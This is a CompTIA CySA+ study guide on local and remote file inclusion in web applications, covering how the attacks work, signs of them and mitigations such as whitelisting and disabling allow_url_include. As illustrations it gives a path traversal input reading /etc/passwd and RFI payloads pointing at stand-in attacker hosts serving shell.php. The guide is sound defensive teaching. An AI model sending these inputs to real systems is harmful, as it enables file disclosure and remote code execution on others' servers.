Local file inclusion (LFI)/remote file inclusion (RFI)

2.4 Given a scenario, recommend controls to mitigate attacks and software vulnerabilities.

📘CompTIA CySA+ (CS0-003)

---

1. What are LFI and RFI?

Both LFI and RFI are types of web application vulnerabilities that happen when an application allows users to specify files to include in its processing without proper validation.

• Local File Inclusion (LFI):
  • The application includes files from the local server.
  • Attackers can manipulate input to read sensitive files like /etc/passwd (Linux) or C:\Windows\system32\config\SAM (Windows).
  • Example in an IT environment: A web admin panel allows loading pages like page.php?file=home.php. An attacker might try page.php?file=../../../../etc/passwd.
• Remote File Inclusion (RFI):
  • The application includes files from a remote server.
  • Attackers can point the app to an external malicious script.
  • Example in an IT environment: A poorly coded PHP page allows include($_GET['file']); and an attacker supplies http://maliciousserver.com/shell.php. The server executes the attacker’s code.

Key Difference:

• LFI → local server files only.
• RFI → remote files, which can execute attacker-controlled code.

---

2. How LFI and RFI work

• LFI Workflow:
  1. The application uses a user-supplied value to include a file.
  2. Input isn’t sanitized, so attackers can use paths like ../ to access other files.
  3. Sensitive server files are exposed (can lead to information disclosure).
• RFI Workflow:
  1. The application allows URLs as input for inclusion.
  2. An attacker provides a remote URL hosting malicious code.
  3. The server downloads and executes the code. This can lead to remote code execution.

Why it’s dangerous in IT environments:

• LFI can reveal passwords, system configs, and logs.
• RFI can let attackers run commands on your server, escalate privileges, or plant malware.

---

3. Common IT scenarios for LFI/RFI

1. Web Applications
   • PHP, JSP, or ASP pages that include other pages or templates dynamically.
   • Example: include($_GET['page']); or file_get_contents($_GET['file']);
2. Web-based Admin Panels
   • Admin tools loading modules based on user input.
   • Misconfigured input validation allows LFI/RFI attacks.
3. Content Management Systems (CMS)
   • Plugins or themes that load files dynamically.
   • Poor coding practices can allow inclusion of system or external files.

---

4. Signs of LFI/RFI in a system

• Unexpected error messages: “File not found” or “Failed opening…”
• Web pages displaying server directories or file contents.
• Logs show unusual URL requests with ../ or remote URLs.

---

5. Mitigation and Controls

To prevent LFI/RFI vulnerabilities, implement these best practices:

A. Input Validation

• Never trust user input.
• Allow only expected filenames (whitelist approach).
• Avoid including user-supplied paths directly.

B. Disable Remote File Inclusion

• In PHP: set allow_url_include = Off in php.ini.
• Prevent external URLs from being included in scripts.

C. Use Safe File Inclusion Methods

• Map input to known files: $pages = [‘home’ => ‘home.php’, ‘about’ => ‘about.php’];
  include($pages[$_GET[‘page’]]);
• Avoid dynamic inclusion based directly on user input.

D. Proper Server Permissions

• Restrict read/write access to critical files.
• Web servers should run with minimal privileges.
• Important system files (e.g., /etc/passwd) should not be readable by the web user.

E. Error Handling

• Avoid displaying detailed server errors to users.
• Use generic error pages to hide path information.

F. Security Tools

• Web Application Firewalls (WAF) can detect and block LFI/RFI patterns.
• Intrusion Detection Systems (IDS) can monitor suspicious file inclusion attempts.

---

6. Quick Exam Tips

• Remember: LFI = Local, RFI = Remote.
• Always associate them with web file inclusion vulnerabilities.
• Key mitigation terms for the exam: Input validation, whitelist, server permissions, disable remote inclusion, WAF.
• Real IT examples: admin panels, CMS modules, PHP web pages including dynamic files.

---

Summary Table for Quick Reference

Feature	LFI	RFI
File source	Local server	Remote server
Risk	Information disclosure	Remote code execution
Example attack	page.php?file=../../../../etc/passwd	page.php?file=http://evil.com/shell.php
Mitigation	Input validation, whitelist, server permissions	Same as LFI + disable remote file inclusion, WAF

---

✅ With this explanation, your students can understand what LFI/RFI is, how it works, the risks, and how to prevent it, all in IT terms for the exam.